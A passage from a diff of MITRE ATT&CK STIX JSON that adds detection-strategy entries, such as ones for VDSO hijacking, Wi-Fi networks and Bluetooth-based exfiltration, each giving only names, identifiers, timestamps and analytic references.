"x-mitre-analytic--44500eb7-01f2-4cab-8b76-1227bb48e13e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--210a0dee-7c4b-4948-80ed-67c3e04886c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0393", + "external_id": "DET0393" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Temporary Elevated Cloud Access Abuse (T1548.005)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--adfcc782-0285-43ef-af18-127dd60d1dff", + "x-mitre-analytic--23b9a5cd-9c49-48d8-9d0d-71e35ad78337", + "x-mitre-analytic--2ec84f0f-1148-4821-acf0-a5527381865f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--69c06a1c-5b36-432c-871b-813957b3c678", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0403", + "external_id": "DET0403" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Traffic Duplication via Mirroring in IaaS and Network Devices", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7becb616-f907-4533-a425-08ca42440e3f", + "x-mitre-analytic--0729dd54-2fda-460a-8bb3-eee02f0f3c4e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6d2e2f19-f5ae-4ba0-aea7-52cc257169e5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0012", + "external_id": "DET0012" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for VBA Stomping", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0ea214f3-5d66-4170-b33d-58a6577bb074", + "x-mitre-analytic--f9f7e5e7-edbf-442b-b4ea-d35455982ba8", + "x-mitre-analytic--025e89c6-9383-48b5-b9f2-85ab31b6a7bb" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b511a320-18a6-46ff-9588-85065c44312f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0448", + "external_id": "DET0448" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for VDSO Hijacking on Linux", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--bfc7e981-ca7e-4b1b-a692-65a8867a7a89" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--85849149-b36f-4562-9478-65c4e8f97dec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0199", + "external_id": "DET0199" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Virtual Machine Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--44bb0cf8-12ee-4a8f-8701-6c787a008bd8", + "x-mitre-analytic--753ec5a6-9327-452e-ab9c-62b7206c24aa", + "x-mitre-analytic--be2239de-ae8e-442d-a9f6-d34460b94e94", + "x-mitre-analytic--86bb41b4-5c8a-4407-b788-8f6ea8457860" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--de98fda3-10f9-4013-a163-fb9b6c117a9b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0339", + "external_id": "DET0339" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Weaken Encryption on Network Devices", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b192336c-4a85-4322-9ae8-fd6eb6b7747b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2fed2eb7-2b3e-494f-9154-b996090b5a1e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0494", + "external_id": "DET0494" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Weaken Encryption: Disable Crypto Hardware on Network Devices", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--1dd7c76f-ff71-4597-8785-f7a730101a00" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--bcddd949-40be-40dd-949e-8f69f893360b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0243", + "external_id": "DET0243" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Weaken Encryption: Reduce Key Space on Network Devices", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b9e42cd6-da26-4e57-b628-aca0fb1bb3f3" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--70abbe3f-797d-495b-8f76-371408a0f929", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0058", + "external_id": "DET0058" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Web Service: Dead Drop Resolver", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--55ec66de-8146-4fd0-a423-0954d6ba33ef", + "x-mitre-analytic--dc4096a9-b89d-4bef-b20d-58cf5e87f6bf", + "x-mitre-analytic--671050c7-7e86-4be7-9ab4-aa9c763fad44", + "x-mitre-analytic--aae03a6c-b308-49cb-bb85-7be4a5c2a4bb" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f9c29db2-8790-4255-957f-9a02f1d8d024", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0536", + "external_id": "DET0536" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Wi-Fi Networks", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8586fd06-9801-473e-8ea6-d3da0ec82267", + "x-mitre-analytic--6ad3d8bb-fc6f-45fb-b44e-871c263230d8", + "x-mitre-analytic--20c2cbdf-2a02-40d1-9d10-b91d9bbe3004", + "x-mitre-analytic--8ea556b8-d6d3-430c-a438-847b00e607a5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--1764bbd5-67d1-4225-9c06-0d5aa74d056f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0254", + "external_id": "DET0254" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy of Transmitted Data Manipulation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4cf44d48-1a0f-45a4-9a25-8bee9677ab52", + "x-mitre-analytic--500ae9f9-c6c2-4160-ac03-072d963eba63", + "x-mitre-analytic--da6d7de2-a666-4fa3-aa53-54692a8167ae" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2729a43c-3f8d-4fee-b2bd-f773436d051b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0588", + "external_id": "DET0588" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection fo Remote Service Session Hijacking for RDP.", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--be773ad4-9e5f-4063-910a-99a3cab90582" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--fecfb9f9-645e-4e09-ba21-05bc60722688", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0311", + "external_id": "DET0311" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection for Spoofing Security Alerting across OS Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0f4ec296-008e-42aa-95b2-6e4e351d730c", + "x-mitre-analytic--d1feb97f-3683-49f5-b5a8-b54d58de3444", + "x-mitre-analytic--d9eb3056-115b-496a-89f7-be38470ff022" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a1a9e316-145a-4744-a594-7decc23c543d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0546", + "external_id": "DET0546" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Abused or Compromised Cloud Accounts for Access and Persistence", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--02571f27-8fa6-47cb-9097-0b84016a1dda", + "x-mitre-analytic--fc507123-4267-4cf8-9e30-a90a89043b20", + "x-mitre-analytic--ac36f883-9a5b-4796-9f2e-18f1cce8fc0b", + "x-mitre-analytic--5f1ffd26-01f7-47fc-b544-130fc14c0bd2" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--4b5df4bb-4903-4c66-9900-30bc046447be", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0884", + "external_id": "DET0884" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Acquire Access", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a62c45c3-3471-4366-9f7c-738fbd9473bd" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--56752265-8647-4ce2-bc6c-c38c2e14685c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0895", + "external_id": "DET0895" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Acquire Infrastructure", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--96e1107e-7fbe-49a2-b425-9d85a6ff46df" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7bbdcd3b-241e-4ec8-ab43-6bd2c34ae77d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0830", + "external_id": "DET0830" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Active Scanning", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c0195ab2-3c4e-41ce-a1e4-7e58118abeb4" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--309ca3cd-d3f0-4aea-8932-558550aa89f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0034", + "external_id": "DET0034" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Adversarial Process Discovery Behavior", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--625983e7-9736-44f4-98ba-f372b3a3d236", + "x-mitre-analytic--59aedd87-8373-45d3-93e3-5697e4cc7a48", + "x-mitre-analytic--80939714-6d17-4cc0-accd-3e1d634846bc", + "x-mitre-analytic--7e029a7f-beb5-4da9-9d75-8fcfc812103b", + "x-mitre-analytic--f6985c70-6de1-4600-aba0-5b3324184dce" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ea1f5423-64b9-44eb-824f-251aa0faccd2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0223", + "external_id": "DET0223" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Adversary Abuse of Software Deployment Tools", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--39ec0aa6-935a-44d3-b206-211981dec3bd", + "x-mitre-analytic--bbb8adb2-434a-483e-af3c-4843241e2158", + "x-mitre-analytic--94e3c24f-01ee-45bc-89c0-7024ada7cc66", + "x-mitre-analytic--2e6218d1-1f84-4dc5-8ab5-c24835aafbab", + "x-mitre-analytic--82acd5d4-70e1-4f3e-b059-15bdc55cf4bf" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ec3e5f66-a2b8-48ae-9adf-eb4f5014ba70", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0247", + "external_id": "DET0247" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Adversary Use of Unused or Unsupported Cloud Regions (IaaS)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5d4419cc-6925-4f7d-a247-e0a4634fea90" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--af66dc57-77fc-42a7-9e84-7a588c3ab516", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0414", + "external_id": "DET0414" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of AppleScript-Based Execution on macOS", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a67ac8ec-2748-4fe6-8dd7-bd570af1e104" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d2daf569-4fc9-46a3-97b7-4d3d76c04a64", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0097", + "external_id": "DET0097" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Application Window Enumeration via API or Scripting", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c76d69b2-f1d4-4867-965b-886b6caf95be", + "x-mitre-analytic--557d1a5d-31ae-4600-b4ed-a456d9964a83", + "x-mitre-analytic--a31400ee-ac3e-408e-aa4d-fb2b470142ab" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d6c1064c-9ea9-4067-835e-7c0627024b0c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0842", + "external_id": "DET0842" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Artificial Intelligence", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e4b35edc-f7fe-4f0d-aaaf-60fabc9d2698" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--267a6c25-8d34-47ae-8357-9ae173adaa13", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0554", + "external_id": "DET0554" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Bluetooth-Based Data Exfiltration", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--02fb4d83-d2db-4d49-acbc-85eff3b517d6", + "x-mitre-analytic--01588556-4b25-4418-b746-9bca0279be2c", + "x-mitre-analytic--2f6dd4a5-b0cc-4c13-abb8-e2d747d591b2" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--02aecf08-08b1-4f08-9272-c1fc98b5f72e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0883", + "external_id": "DET0883" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Botnet", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d52fee09-db6e-4fe5-a859-7f3d273e85f0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0f7bb8ed-f114-48f6-b57f-d2047d11ca17", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0837", + "external_id": "DET0837" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Botnet", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--1b067cad-c75b-484e-8aaa-4b058c8ec9f7" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": 